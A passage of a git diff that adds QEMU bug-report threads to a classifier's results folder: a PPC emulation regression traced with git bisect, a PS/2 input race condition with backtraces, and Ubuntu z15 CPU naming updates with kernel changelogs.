--target-list=i386-softmmu,ppc-softmmu,ppc64-softmmu,ppcemb-softmmu + +ERROR: DTC (libfdt) version >= 1.4.0 not present. Your options: + (1) Preferred: Install the DTC (libfdt) devel package + (2) Fetch the DTC submodule, using: + git submodule update --init dtc + +amigaone@Amigaone:~/src/qemu$ git submodule update --init dtc +Submodule 'dtc' (git://git.qemu-project.org/dtc.git) registered for path 'dtc' +Cloning into 'dtc'... +remote: Counting objects: 2778, done. +remote: Compressing objects: 100% (1692/1692), done. +remote: Total 2778 (delta 2058), reused 1415 (delta 1056) +Receiving objects: 100% (2778/2778), 654.26 KiB | 376.00 KiB/s, done. +Resolving deltas: 100% (2058/2058), done. +Checking connectivity... done. +Submodule path 'dtc': checked out '65cc4d2748a2c2e6f27f1cf39e07a5dbabd80ebf' +amigaone@Amigaone:~/src/qemu$ ./configure --with-sdlabi=2.0 --audio-drv-list=pa,sdl --target-list=i386-softmmu,ppc-softmmu,ppc64-softmmu,ppcemb-softmmu +Install prefix /usr/local +BIOS directory /usr/local/share/qemu +binary directory /usr/local/bin +library directory /usr/local/lib +module directory /usr/local/lib/qemu +libexec directory /usr/local/libexec +include directory /usr/local/include +config directory /usr/local/etc +local state directory /usr/local/var +Manual directory /usr/local/share/man +ELF interp prefix /usr/gnemul/qemu-%M +Source path /home/amigaone/src/qemu +C compiler cc +Host C compiler cc +C++ compiler c++ +Objective-C compiler clang +ARFLAGS rv +CFLAGS -O2 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 -pthread -I/usr/include/glib-2.0 -I/usr/lib/powerpc-linux-gnu/glib-2.0/include -g +QEMU_CFLAGS -I/usr/include/pixman-1 -I$(SRC_PATH)/dtc/libfdt -Werror -DHAS_LIBSSH2_SFTP_FSYNC -m32 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -fno-common -Wendif-labels -Wmissing-include-dirs -Wempty-body -Wnested-externs -Wformat-security -Wformat-y2k -Winit-self -Wignored-qualifiers -Wold-style-declaration -Wold-style-definition -Wtype-limits -fstack-protector-strong -I/usr/include/p11-kit-1 -I/usr/local/include -I/usr/include/libpng16 -I/usr/include/libusb-1.0 +LDFLAGS -Wl,--warn-common -m32 -g +make make +install install +python python -B +smbd /usr/sbin/smbd +module support no +host CPU ppc +host big endian yes +target list i386-softmmu ppc-softmmu ppc64-softmmu ppcemb-softmmu +tcg debug enabled no +gprof enabled no +sparse enabled no +strip binaries yes +profiler no +static build no +pixman system +SDL support yes (2.0.4) +GTK support yes (2.24.30) +GTK GL support no +VTE support no +TLS priority NORMAL +GNUTLS support yes +GNUTLS rnd yes +libgcrypt no +libgcrypt kdf no +nettle yes (3.2) +nettle kdf yes +libtasn1 yes +curses support yes +virgl support yes +curl support yes +mingw32 support no +Audio drivers pa sdl +Block whitelist (rw) +Block whitelist (ro) +VirtFS support no +VNC support yes +VNC SASL support no +VNC JPEG support yes +VNC PNG support yes +xen support no +brlapi support no +bluez support no +Documentation yes +PIE no +vde support no +netmap support no +Linux AIO support no +ATTR/XATTR support yes +Install blobs yes +KVM support yes +RDMA support no +TCG interpreter no +fdt support yes +preadv support yes +fdatasync yes +madvise yes +posix_madvise yes +uuid support yes +libcap-ng support no +vhost-net support yes +vhost-scsi support yes +Trace backends log +spice support no +rbd support no +xfsctl support no +smartcard support no +libusb yes +usb net redir no +OpenGL support yes +OpenGL dmabufs yes +libiscsi support no +libnfs support no +build guest agent yes +QGA VSS support no +QGA w32 disk info no +QGA MSI support no +seccomp support no +coroutine backend ucontext +coroutine pool yes +GlusterFS support no +Archipelago support no +gcov gcov +gcov enabled no +TPM support yes +libssh2 support yes +TPM passthrough no +QOM debugging yes +vhdx yes +lzo support no +snappy support yes +bzip2 support yes +NUMA host support yes +tcmalloc support no +jemalloc support no +avx2 optimization no + + + + +one shot +of qemu-system-i386 2.6 old version, oldest was working + + + +Hi T, +i just make a test on My Quad G5 and Mate 15.10 and here i have the same issue ... no video on last 2.6. I think this issue is present on all ppc world + +Can you use "git bisect" to determine the exact commit that causes this problem to appear? + +Hi T, +i can gave a try ... i never used "git bisect" +i have to use it with the executable? with "git bisect log" or somthing else? + +You initially have to specify a commit that is known to fail, and one that is known to work, so in this case it's likely: + git bisect start master v2.6.0 +It then checks out a revision inbetween. Compile it with "make" and run the built QEMU to check whether it is working or not. +If it is not working, use this command to continue: + git bisect bad +If it was working, use this command instead: + git bisect good +Then continue to compile and test the next revision. git bisect should guide you this way to the commit that introduced the bug. + +Hi T, +thanks for the infos i will report ASAP + +Hi T, found! + +this was last bad a select + +git bisect bad +Bisecting: 101 revisions left to test after this (roughly 7 steps) +[f68419eee9a966f5a915314c43cda6778f976a77] Merge remote-tracking branch 'remotes/kevin/tags/for-upstream' into staging + +this is the good + + +git bisect good +Bisecting: 58 revisions left to test after this (roughly 6 steps) +[14fccfa91ecac7af36ac03dc1c2bb9a1d7fbca26] Merge remote-tracking branch 'remotes/lalrae/tags/mips-20160513' into staging + + +Ciao +Luigi + + +but what i see in this working there isnt your sdl2 patch. + + +If git bisect says something about "XX revisions left to test after this" then you're not done yet, you have to continue the git bisecting process until it is finished. +And if you need the sdl2 patch additionally, you have to apply it manually after each step if necessary. I'm sorry, it's quite cumbersome, but likely still the best solution to determine where your problem comes from. + +Hi T, +Ok. I m sorry i was thinking only this was needed i will made the other git bisect and report + +Luigi + +Hi t, + +this is what you need? +70f87e0f0aa04f764dabaeb3ed71ff195748076a is the first bad commit + + +Hi t, +just to notice the 2.7 is effected too :-( + +./qemu-system-i386 +qemu-system-i386: Trying to execute code outside RAM or ROM at 0x000a0000 +This usually means one of the following happened: + +(1) You told QEMU to execute a kernel for the wrong machine type, and it crashed on startup (eg trying to run a raspberry pi kernel on a versatilepb QEMU machine) +(2) You didn't give QEMU a kernel or BIOS filename at all, and QEMU executed a ROM full of no-op instructions until it fell off the end +(3) Your guest kernel has a bug and crashed by jumping off into nowhere + +This is almost always one of the first two, so check your command line and that you are using the right type of kernel for this machine. +If you think option (3) is likely then you can try debugging your guest with the -d debug options; in particular -d guest_errors will cause the log to include a dump of the guest register state at this point. + +Execution cannot continue; stopping here. + +amigaone@Amigaone:~/src/pippo/qemu/i386-softmmu$ ./qemu-system-i386 -m 1024 +qemu-system-i386: Trying to execute code outside RAM or ROM at 0x000a0000 +This usually means one of the following happened: + +(1) You told QEMU to execute a kernel for the wrong machine type, and it crashed on startup (eg trying to run a raspberry pi kernel on a versatilepb QEMU machine) +(2) You didn't give QEMU a kernel or BIOS filename at all, and QEMU executed a ROM full of no-op instructions until it fell off the end +(3) Your guest kernel has a bug and crashed by jumping off into nowhere + +This is almost always one of the first two, so check your command line and that you are using the right type of kernel for this machine. +If you think option (3) is likely then you can try debugging your guest with the -d debug options; in particular -d guest_errors will cause the log to include a dump of the guest register state at this point. + +Execution cannot continue; stopping here. + +amigaone@Amigaone:~/src/pippo/qemu/i386-softmmu$ ./qemu-system-i386 --version +QEMU emulator version 2.6.90 (v2.7.0-rc0-10-gf49ee63-dirty), Copyright (c) 2003-2008 Fabrice Bellard + + +Hi T, +im checking and testing the lastest qemu and i understand +the issue is present only with all softmmu system . +if i open eg qemu-system-ppc64 i have the issue +if i open qemu-system-ppc64 with kvm enabled the issue isnt present and all run like have to be. + +It means all the emulated machine not work , virtualized only run. +in my case on g5 quad i cant emulate an X86 or a old world mac +but i can virtualize my g5 quad with a debian. +same is on p5020 machine. + +Hope it help + + Hi Luigi, + +70f87e0f0aa04f764dabaeb3ed71ff195748076a is a merge commit ... that should not have shown up as a result from bisecting. +Anyway, since it is pointing to a ui merge ... could you please: + +1) check whether it is still working fine with the first patch of that ui series, i.e.: + git checkout 4fd811a6bd0b8f24f4761fc281454494c336d310 + and then compile and test that version + +2) check whether it is really hanging / not working withe the last patch of that ui series, i.e.: + git checkout 6978dc4adcdf27722aa6f9e13f88a903b30a3f8d + and then compile and test that version + +Thanks! + +Hi T, +bad news i had to format my partition with 16.10 and dont have the 2.6.0 src any more if there is a way to git clone it please letme know. +note : 2.6.1 have the issue , 2.7.x is effected too. + +Luigi + +Alll revisions are available in the git repository, so please simply do: + + git clone git://git.qemu-project.org/qemu.git + cd qemu + git checkout 4fd811a6bd0b8f24f4761fc281454494c336d310 + ./configure ... + make -j4 + +And then check whether it is working or not. +Once you're done, switch to the other revision and compile again: + + git checkout 6978dc4adcdf27722aa6f9e13f88a903b30a3f8d + make -j4 + +and check whether that one is working or not. + +Hi T, +good news the 2.6.2 is working without the issue reported, but it not include your previous patches . +Ciao +Luigi + diff --git a/results/classifier/deepseek-1/output/effectively./1722884 b/results/classifier/deepseek-1/output/effectively./1722884 new file mode 100644 index 00000000..82c9a9fd --- /dev/null +++ b/results/classifier/deepseek-1/output/effectively./1722884 @@ -0,0 +1,144 @@ + +keyboard input while mouse moving triggers mouse failure + +When QEMU is getting a ton of mouse input events if keys are pressed on the keyboard the scan code will be corrupted causing erroneous behavior. I have confirmed this problem in the latest version in git (530049bc1dcc24c1178a29d99ca08b6dd08413e0). + +After the erroneous behavior the operating system issues a keyboard reset which prevents the mouse from functioning until the operating system is restarted. + +This seems to only occur if the PS2 mouse is being used as the input, the tablet input device doesn't exhibit this behavior. + +The same problem was reported here also: https://openxt.atlassian.net/browse/OXT-562 + +Host : Debian 9 +CPU : Ryzen 1700X +RAM : 16GB +Kernel: 4.12.0-0.bpo.2-amd64 + +Guest : Windows 10 (KVM) +RAM : 8GB (1GB Huge pages) + +Here is a backtrace of the PS2 reset event: + +#0 ps2_write_mouse (opaque=0x55804518ae30, val=255) at /home/geoff/Projects/qemu/qemu/hw/input/ps2.c:1033 +#1 0x00005580420e1dd9 in kbd_write_data (opaque=0x558045147aa0, addr=0, val=255, size=1) at /home/geoff/Projects/qemu/qemu/hw/input/pckbd.c:357 +#2 0x0000558041e7e64f in memory_region_write_accessor (mr=0x558045147ae0, addr=0, value=0x7f9ec016f478, size=1, shift=0, mask=255, attrs=...) + at /home/geoff/Projects/qemu/qemu/memory.c:560 +#3 0x0000558041e7e867 in access_with_adjusted_size (addr=0, value=0x7f9ec016f478, size=1, access_size_min=1, access_size_max=1, + access_fn=0x558041e7e565 <memory_region_write_accessor>, mr=0x558045147ae0, attrs=...) at /home/geoff/Projects/qemu/qemu/memory.c:627 +#4 0x0000558041e814e9 in memory_region_dispatch_write (mr=0x558045147ae0, addr=0, data=255, size=1, attrs=...) + at /home/geoff/Projects/qemu/qemu/memory.c:1503 +#5 0x0000558041e31302 in flatview_write_continue (fv=0x7f9e90010c10, addr=96, attrs=..., buf=0x7f9eee9de000 "\377\006", len=1, addr1=0, l=1, + mr=0x558045147ae0) at /home/geoff/Projects/qemu/qemu/exec.c:2900 +#6 0x0000558041e31450 in flatview_write (fv=0x7f9e90010c10, addr=96, attrs=..., buf=0x7f9eee9de000 "\377\006", len=1) + at /home/geoff/Projects/qemu/qemu/exec.c:2945 +#7 0x0000558041e31827 in flatview_rw (fv=0x7f9e90010c10, addr=96, attrs=..., buf=0x7f9eee9de000 "\377\006", len=1, is_write=true) + at /home/geoff/Projects/qemu/qemu/exec.c:3054 +#8 0x0000558041e318df in address_space_rw (as=0x558042a4c940 <address_space_io>, addr=96, attrs=..., buf=0x7f9eee9de000 "\377\006", len=1, is_write=true) + at /home/geoff/Projects/qemu/qemu/exec.c:3064 +#9 0x0000558041e9617e in kvm_handle_io (port=96, attrs=..., data=0x7f9eee9de000, direction=1, size=1, count=1) + at /home/geoff/Projects/qemu/qemu/accel/kvm/kvm-all.c:1698 +#10 0x0000558041e968c2 in kvm_cpu_exec (cpu=0x5580444f4650) at /home/geoff/Projects/qemu/qemu/accel/kvm/kvm-all.c:1938 +#11 0x0000558041e670d9 in qemu_kvm_cpu_thread_fn (arg=0x5580444f4650) at /home/geoff/Projects/qemu/qemu/cpus.c:1128 +#12 0x00007f9ed49c5494 in start_thread (arg=0x7f9ec0172700) at pthread_create.c:333 +#13 0x00007f9ed4707aff in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:97 + + + +Further to this, it appears to be a race condition with reading from the i8042 controller. I have turned on debugging of PS2 and KBD and filtered out the event that causes the issue. I have split the below up to show the valid reads for the mouse and then the sequence that triggers a reset when the keyboard is used. + +KBD: kbd: read status=0x3d +KBD: kbd: read status=0x3d +KBD: kbd: read data=0x08 +KBD: kbd: read status=0x3d +KBD: kbd: read status=0x3d +KBD: kbd: read data=0x00 +KBD: kbd: read status=0x3d +KBD: kbd: read status=0x3d +KBD: kbd: read data=0x02 +KBD: kbd: read status=0x3d +KBD: kbd: read status=0x3d +KBD: kbd: read data=0x00 + +KBD: kbd: read status=0x3d +KBD: kbd: read status=0x3d +KBD: kbd: read data=0x18 +KBD: kbd: read status=0x3d +KBD: kbd: read status=0x3d +KBD: kbd: read data=0xfe +KBD: kbd: read status=0x3d +KBD: kbd: read status=0x3d +KBD: kbd: read data=0x02 +KBD: kbd: read status=0x3d +KBD: kbd: read status=0x3d +KBD: kbd: read data=0x00 + +KBD: kbd: read status=0x3d +KBD: kbd: read status=0x3d +KBD: kbd: read data=0x08 +KBD: kbd: read status=0x3d +KBD: kbd: read status=0x3d +KBD: kbd: read data=0x00 +KBD: kbd: read status=0x3d +KBD: kbd: read status=0x3d +KBD: kbd: read data=0x01 +KBD: kbd: read status=0x3d +KBD: kbd: read status=0x3d +KBD: kbd: read data=0x00 + +KBD: kbd: read status=0x3d +KBD: kbd: read status=0x1d <-- the status changed on the 2nd call. +KBD: kbd: read status=0x1d +KBD: kbd: read data=0x9e + +KBD: kbd: read status=0x3d +KBD: kbd: read status=0x3d +KBD: kbd: read data=0x18 +KBD: kbd: read data=0xff <-- two data reads without checking status +KBD: kbd: read status=0x3d <-- guest looking for mouse movements +KBD: kbd: read status=0x3d +KBD: kbd: read data=0x02 <-- first byte +KBD: kbd: read status=0x3d +KBD: kbd: read status=0x3d +KBD: kbd: read data=0x00 <-- 2nd byte +KBD: kbd: read status=0x1c <-- no more data, there should be two more bytes +KBD: kbd: read status=0x1c +KBD: kbd: read status=0x1c + +here the host attempts to reset the device + +KBD: kbd: write cmd=0xd4 <-- write to mouse cmd +KBD: kbd: read status=0x1c +KBD: kbd: read status=0x1c +KBD: kbd: read status=0x1c +KBD: kbd: write data=0xff <-- reset mouse +kbd: write mouse 0xff + + +I believe I am onto the cause of this issue, because the input events are coming from a multi threaded source (in my instance spice) keyboard and mouse input share common code paths without any thread interlocking. + +Since keyboard input takes priority over mouse, when more mouse events are being handled it is overwriting and swapping out the data the guest was expecting with mouse input data. + +In short, there is a race condition here. + +This bug needs some attention, we just released Looking Glass which relies heavily on the relative input mode of SPICE which in turn relies heavily on the virtual i8042 controller. This project has the ability to completely eliminate the need to dual boot a Linux machine with windows and is gaining much public attention, if it wasn't for this bug it would be damn near perfect. + +Please see: + +https://looking-glass.hostfission.com +https://github.com/gnif/LookingGlass +https://level1techs.com/video/new-tech-iommu-users-looking-glass-headless-passthrough +https://www.phoronix.com/scan.php?page=news_item&px=Looking-Glass-KVM-Frame-Relay + +I have already tried to trace this down but between Looking Glass and my day job I simply don't have time at the moment. + + +I tried to look into this as well. One finding I have made is that the problem happens for -display gtk but not with -display sdl so I'm thinking it might not be reading of data from the ps2 controller that is problematic but the writing to it. I will need to investigate further. + +I tracked this down and fixed it last year, your issue is unrelated. + +https://github.com/qemu/qemu/commit/143c04c7e0639e53086519592ead15d2556bfbf2#diff-3b5bd599c018d558b135bd19647a00c6 + +https://github.com/qemu/qemu/commit/7abe7eb29494b4e4a11ec99ae5623083409a2f1e#diff-3b5bd599c018d558b135bd19647a00c6 + +Ok, so if this bug has been fixed, let's close this ticket. + diff --git a/results/classifier/deepseek-1/output/effectively./1842774 b/results/classifier/deepseek-1/output/effectively./1842774 new file mode 100644 index 00000000..b8a59896 --- /dev/null +++ b/results/classifier/deepseek-1/output/effectively./1842774 @@ -0,0 +1,1316 @@ + +Enhanced Hardware Support - Finalize Naming + +This feature request will provide the final naming of the next machine + +Marking as "Incomplete" while awaiting the final naming. + +@IBM: Does it affect the kernel only, or also other packages (like for example qemu) ? + +And btw. I think it will not be limited to eoan/19.10, but will also affect older Ubuntu releases (probably all the way down to xenial). + +------- Comment From <email address hidden> 2019-09-10 05:41 EDT------- +@CAN: Yes, a qemu patch is also required. For previous distros another LP is available.: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1842916 + +------- Comment From <email address hidden> 2019-09-18 07:58 EDT------- +See https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a0e2251132995b962281aa80ab54a9288f9e0b6b + +commit a0e2251132995b962281aa80ab54a9288f9e0b6b +Author: Martin Schwidefsky <email address hidden> +Date: Wed Feb 6 08:22:11 2019 +0100 + +s390: add support for IBM z15 machines + +Add detection for machine types 0x8562 and 8x8561 and set the ELF platform +name to z15. Add the miscellaneous-instruction-extension 3 facility to +the list of facilities for z15. + +And allow to generate code that only runs on a z15 machine. + +Reviewed-by: Christian Borntraeger <email address hidden> +Signed-off-by: Martin Schwidefsky <email address hidden> +Signed-off-by: Heiko Carstens <email address hidden> + +for the kernel upstream commit. Applies cleanly to git://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/eoan + +Kernel SRU request submitted: +https://lists.ubuntu.com/archives/kernel-team/2019-September/thread.html#103839 + +Patch a0e2251132995b9 is a kernel patch, thus this is certainly not something we need to track in the upstream QEMU bugtracker. + +------- Comment From <email address hidden> 2019-09-24 02:28 EDT------- +The QEMU patch is + +commit 7505deca0bfa859136ec6419dbafc504f22fcac2 +s390x/cpumodel: Add the z15 name to the description of gen15a + +Hi, +since [1] doesn't change the identifier (it stays gen15a), so the only thing that is changing is the description of e.g. seen here: +$ qemu-system-s390x -cpu ? | grep gen15 +s390 gen15a-base IBM 8561 GA1 (static, migration-safe) +s390 gen15a IBM 8561 GA1 (migration-safe) +s390 gen15b-base IBM 8562 GA1 (static, migration-safe) +s390 gen15b IBM 8562 GA1 (migration-safe) + +As far as I see it has no functional impact - is that correct? + +Under that assumption I'm considering this for Eoan as prio-medium (as it is still open), and for SRUs as whishlist. +It might be added there "along" some other SRU later, but isn't reasonable on its own triggering downloads for millions of users - if you don't agree please outline why we'd need this any sooner there. + +FYI: Please note that changing the actual type "gen15a" to something else is even less of an option at least for SRUs as people could use it already and the update would break them. + +[1]: https://git.qemu.org/?p=qemu.git;a=commit;h=7505deca + +Test build [1] seems ok and MP opened [2]. +But the change is trivial so that should be quick ... + +[1]: https://launchpad.net/~paelzer/+archive/ubuntu/fix-1842774-z15-model-name-eoan +[2]: https://code.launchpad.net/~paelzer/ubuntu/+source/qemu/+git/qemu/+merge/373118 + +In fact while I was waiting to submit this the MP got reviewed. +Uploaded to Eoan ... + +But since beta freeze is in place acceptance there might have to wait a few days. + +------- Comment From <email address hidden> 2019-09-24 09:11 EDT------- +Yes this only updates the description. The name gen15a can not be changed without hurting migration compatibility. +We are looking into adding an alias for cpu names, but this would be a future change. +With that medium priority is fine. + +This bug was fixed in the package qemu - 1:4.0+dfsg-0ubuntu9 + +--------------- +qemu (1:4.0+dfsg-0ubuntu9) eoan; urgency=medium + + * d/p/lp-1842774-s390x-cpumodel-Add-the-z15-name-to-the-description-o.patch: + update the z15 model name (LP: #1842774) + + -- Christian Ehrhardt <email address hidden> Tue, 24 Sep 2019 11:42:58 +0200 + +This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed-bionic' to 'verification-done-bionic'. If the problem still exists, change the tag 'verification-needed-bionic' to 'verification-failed-bionic'. + +If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. + +See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! + + +------- Comment From <email address hidden> 2019-10-04 03:38 EDT------- +> This bug was fixed in the package qemu - 1:4.0+dfsg-0ubuntu9 +> +> --------------- +> qemu (1:4.0+dfsg-0ubuntu9) eoan; urgency=medium +> +> * d/p/lp-1842774-s390x-cpumodel-Add-the-z15-name-to-the-description-o.patch: +> update the z15 model name (LP: #1842774) +> +> -- Christian Ehrhardt <email address hidden> Tue, 24 Sep 2019 + +QEMU part verified on eoan-proposed + +This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed-disco' to 'verification-done-disco'. If the problem still exists, change the tag 'verification-needed-disco' to 'verification-failed-disco'. + +If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed. + +See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you! + + +Verification (more a regression testing) done on disco. + +And verification (more a regression testing) done on bionic, too. + +------- Comment From <email address hidden> 2019-10-07 08:11 EDT------- +Functionality successfully tested fine on disco-proposed 5.0.0-32-generic #34-Ubuntu SMP Wed Oct 2 02:06:00 UTC 2019 s390x s390x s390x GNU/Linux + +I can see z15 in the aux vector: + +# gdb --quiet ls +Reading symbols from ls... +(No debugging symbols found in ls) +(gdb) start +Temporary breakpoint 1 at 0x45ae +Starting program: /usr/bin/ls + +Temporary breakpoint 1, 0x000002aa000045ae in main () +(gdb) info auxv +33 AT_SYSINFO_EHDR System-supplied DSO's ELF header 0x3fffdffe000 +16 AT_HWCAP Machine-dependent CPU capability hints 0x7ffff +6 AT_PAGESZ System page size 4096 +17 AT_CLKTCK Frequency of times() 100 +3 AT_PHDR Program headers for program 0x2aa00000040 +4 AT_PHENT Size of program header entry 56 +5 AT_PHNUM Number of program headers 9 +7 AT_BASE Base address of interpreter 0x3fffdf80000 +8 AT_FLAGS Flags 0x0 +9 AT_ENTRY Entry point of program 0x2aa00006320 +11 AT_UID Real user ID 0 +12 AT_EUID Effective user ID 0 +13 AT_GID Real group ID 0 +14 AT_EGID Effective group ID 0 +23 AT_SECURE Boolean, was exec setuid-like? 0 +25 AT_RANDOM Address of 16 random bytes 0x3fffffff73c +31 AT_EXECFN File name of executable 0x3ffffffffec "/usr/bin/ls" +15 AT_PLATFORM String identifying platform 0x3fffffff74c "z15" +0 AT_NULL End of vector 0x0 + +------- Comment From <email address hidden> 2019-10-07 08:31 EDT------- +Same test (auxv) also works with bionic-proposed. +Linux t35lp61 4.15.0-66-generic #75-Ubuntu SMP Tue Oct 1 05:22:41 UTC 2019 s390x s390x s390x GNU/Linux + +This bug was fixed in the package linux - 5.3.0-17.18 + +--------------- +linux (5.3.0-17.18) eoan; urgency=medium + + * eoan/linux: 5.3.0-17.18 -proposed tracker (LP: #1846641) + + * CVE-2019-17056 + - nfc: enforce CAP_NET_RAW for raw sockets + + * CVE-2019-17055 + - mISDN: enforce CAP_NET_RAW for raw sockets + + * CVE-2019-17054 + - appletalk: enforce CAP_NET_RAW for raw sockets + + * CVE-2019-17053 + - ieee802154: enforce CAP_NET_RAW for raw sockets + + * CVE-2019-17052 + - ax25: enforce CAP_NET_RAW for raw sockets + + * CVE-2019-15098 + - ath6kl: fix a NULL-ptr-deref bug in ath6kl_usb_alloc_urb_from_pipe() + + * xHCI on AMD Stoney Ridge cannot detect USB 2.0 or 1.1 devices. + (LP: #1846470) + - x86/PCI: Avoid AMD FCH XHCI USB PME# from D0 defect + + * Re-enable linux-libc-dev build on i386 (LP: #1846508) + - [Packaging] Build only linux-libc-dev for i386 + - [Debian] final-checks -- ignore archtictures with no binaries + + * arm64: loop on boot after installing linux-generic-hwe-18.04-edge/bionic- + proposed (LP: #1845820) + - [Config] Disable CONFIG_ARM_SMMU_DISABLE_BYPASS_BY_DEFAULT + + * Revert ESE DASD discard support (LP: #1846219) + - SAUCE: Revert "s390/dasd: Add discard support for ESE volumes" + + * Miscellaneous Ubuntu changes + - update dkms package versions + +linux (5.3.0-16.17) eoan; urgency=medium + + * eoan/linux: 5.3.0-16.17 -proposed tracker (LP: #1846204) + + * zfs fails to build on s390x with debug symbols enabled (LP: #1846143) + - SAUCE: s390: Mark atomic const ops always inline + +linux (5.3.0-15.16) eoan; urgency=medium + + * eoan/linux: 5.3.0-15.16 -proposed tracker (LP: #1845987) + + * Drop i386 build for 19.10 (LP: #1845714) + - [Packaging] Remove x32 arch references from control files + - [Debian] final-checks -- Get arch list from debian/control + + * ZFS kernel modules lack debug symbols (LP: #1840704) + - [Debian] Fix conditional for setting zfs debug package path + + * Use pyhon3-sphinx instead of python-sphinx for building html docs + (LP: #1845808) + - [Packaging] Update sphinx build dependencies to python3 packages + + * Kernel panic with 19.10 beta image (LP: #1845454) + - efi/tpm: Don't access event->count when it isn't mapped. + - efi/tpm: don't traverse an event log with no events + - efi/tpm: only set efi_tpm_final_log_size after successful event log parsing + +linux (5.3.0-14.15) eoan; urgency=medium + + * eoan/linux: 5.3.0-14.15 -proposed tracker (LP: #1845728) + + * Drop i386 build for 19.10 (LP: #1845714) + - [Debian] Remove support for producing i386 kernels + - [Debian] Don't use CROSS_COMPILE for i386 configs + + * udevadm trigger will fail when trying to add /sys/devices/vio/ + (LP: #1845572) + - SAUCE: powerpc/vio: drop bus_type from parent device + + * Trying to online dasd drive results in invalid input/output from the kernel + on z/VM (LP: #1845323) + - SAUCE: s390/dasd: Fix error handling during online processing + + * intel-lpss driver conflicts with write-combining MTRR region (LP: #1845584) + - SAUCE: mfd: intel-lpss: add quirk for Dell XPS 13 7390 2-in-1 + + * Support Hi1620 zip hw accelerator (LP: #1845355) + - [Config] Enable HiSilicon QM/ZIP as modules + - crypto: hisilicon - add queue management driver for HiSilicon QM module + - crypto: hisilicon - add hardware SGL support + - crypto: hisilicon - add HiSilicon ZIP accelerator support + - crypto: hisilicon - add SRIOV support for ZIP + - Documentation: Add debugfs doc for hisi_zip + - crypto: hisilicon - add debugfs for ZIP and QM + - MAINTAINERS: add maintainer for HiSilicon QM and ZIP controller driver + - crypto: hisilicon - fix kbuild warnings + - crypto: hisilicon - add dependency for CRYPTO_DEV_HISI_ZIP + - crypto: hisilicon - init curr_sgl_dma to fix compile warning + - crypto: hisilicon - add missing single_release + - crypto: hisilicon - fix error handle in hisi_zip_create_req_q + - crypto: hisilicon - Fix warning on printing %p with dma_addr_t + - crypto: hisilicon - Fix return value check in hisi_zip_acompress() + - crypto: hisilicon - avoid unused function warning + + * SafeSetID LSM should be built but disabled by default (LP: #1845391) + - LSM: SafeSetID: Stop releasing uninitialized ruleset + - [Config] Build SafeSetID LSM but don't enable it by default + + * CONFIG_LSM should not specify loadpin since it is not built (LP: #1845383) + - [Config] loadpin shouldn't be in CONFIG_LSM + + * Add new pci-id's for CML-S, ICL (LP: #1845317) + - drm/i915/icl: Add missing device ID + - drm/i915/cml: Add Missing PCI IDs + + * Thunderbolt support for ICL (LP: #1844680) + - thunderbolt: Correct path indices for PCIe tunnel + - thunderbolt: Move NVM upgrade support flag to struct icm + - thunderbolt: Use 32-bit writes when writing ring producer/consumer + - thunderbolt: Do not fail adding switch if some port is not implemented + - thunderbolt: Hide switch attributes that are not set + - thunderbolt: Expose active parts of NVM even if upgrade is not supported + - thunderbolt: Add support for Intel Ice Lake + - ACPI / property: Add two new Thunderbolt property GUIDs to the list + + * Ubuntu 19.10 - Additional PCI patch and fix (LP: #1844668) + - s390/pci: fix MSI message data + + * Enhanced Hardware Support - Finalize Naming (LP: #1842774) + - s390: add support for IBM z15 machines + - [Config] CONFIG_MARCH_Z15=n, CONFIG_TUNE_Z15=n + + * Eoan update: v5.3.1 upstream stable release (LP: #1845642) + - USB: usbcore: Fix slab-out-of-bounds bug during device reset + - media: tm6000: double free if usb disconnect while streaming + - phy: renesas: rcar-gen3-usb2: Disable clearing VBUS in over-current + - ip6_gre: fix a dst leak in ip6erspan_tunnel_xmit + - net/sched: fix race between deactivation and dequeue for NOLOCK qdisc + - net_sched: let qdisc_put() accept NULL pointer + - udp: correct reuseport selection with connected sockets + - xen-netfront: do not assume sk_buff_head list is empty in error handling + - net: dsa: Fix load order between DSA drivers and taggers + - net: stmmac: Hold rtnl lock in suspend/resume callbacks + - KVM: coalesced_mmio: add bounds checking + - Documentation: sphinx: Add missing comma to list of strings + - firmware: google: check if size is valid when decoding VPD data + - serial: sprd: correct the wrong sequence of arguments + - tty/serial: atmel: reschedule TX after RX was started + - nl80211: Fix possible Spectre-v1 for CQM RSSI thresholds + - Revert "arm64: Remove unnecessary ISBs from set_{pte,pmd,pud}" + - ovl: fix regression caused by overlapping layers detection + - phy: qcom-qmp: Correct ready status, again + - floppy: fix usercopy direction + - media: technisat-usb2: break out of loop at end of buffer + - Linux 5.3.1 + + * ZFS kernel modules lack debug symbols (LP: #1840704) + - [Debian]: Remove hardcoded $(pkgdir) in debug symbols handling + - [Debian]: Handle debug symbols for modules in extras too + - [Debian]: Check/link modules with debug symbols after DKMS modules + - [Debian]: Warn about modules without debug symbols + - [Debian]: dkms-build: new parameter for debug package directory + - [Debian]: dkms-build: zfs: support for debug symbols + - [Debian]: dkms-build: Avoid executing post-processor scripts twice + - [Debian]: dkms-build: Move zfs special-casing into configure script + + * /proc/self/maps paths missing on live session (was vlc won't start; eoan + 19.10 & bionic 18.04 ubuntu/lubuntu/kubuntu/xubuntu/ubuntu-mate dailies) + (LP: #1842382) + - SAUCE: Revert "UBUNTU: SAUCE: shiftfs: enable overlayfs on shiftfs" + + -- Seth Forshee <email address hidden> Thu, 03 Oct 2019 16:57:05 -0500 + +@SRU Team: +As outlined above this is important for IBM to get product names right everywhere. But at the same time this is "only" a change in a description which doesn't qualify an SRU on its own. So we agreed to only upload it once there is another SRU. + +I now have an Qemu SRU for Bionic that I want to group this with, this will make the Disco SRU go without any other changes to not have Bionic->Disco->Eoan switch back and forth. Therefore I'll upload it 